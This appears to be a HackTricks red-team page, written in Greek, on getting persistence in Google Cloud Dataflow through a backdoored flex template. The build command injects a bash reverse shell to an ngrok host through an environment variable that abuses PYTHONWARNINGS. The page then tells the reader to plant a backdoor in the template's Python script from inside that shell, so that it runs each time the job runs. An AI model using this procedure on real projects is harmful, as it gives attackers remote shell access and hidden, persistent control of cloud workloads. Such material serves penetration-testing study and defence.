GCP - Dataflow Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Dataflow

Αόρατη persistence σε δημιουργημένο container

Ακολουθώντας τον οδηγό στην τεκμηρίωση μπορείτε να δημιουργήσετε ένα νέο (π.χ. python) flex template:

Δημιουργία Dataflow flex template με backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**Ενώ γίνεται build, θα αποκτήσετε ένα reverse shell** (μπορείτε να καταχραστείτε env variables όπως στο προηγούμενο παράδειγμα ή άλλα params που ορίζουν το Docker file να εκτελεί αυθαίρετα πράγματα). Σε αυτό το σημείο, μέσα στο reverse shell, είναι δυνατό να **μεταβείτε στον φάκελο `/template` και να τροποποιήσετε τον κώδικα του κύριου python script που θα εκτελεστεί (στο παράδειγμά μας αυτό είναι το `getting_started.py`)**. Τοποθετήστε εδώ το backdoor σας, ώστε κάθε φορά που το job εκτελείται, να εκτελείται και αυτό.

Την επόμενη φορά που το job θα εκτελεστεί, το παραβιασμένο container που δημιουργήθηκε θα τρέξει:

<details>

<summary>Εκτέλεση Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks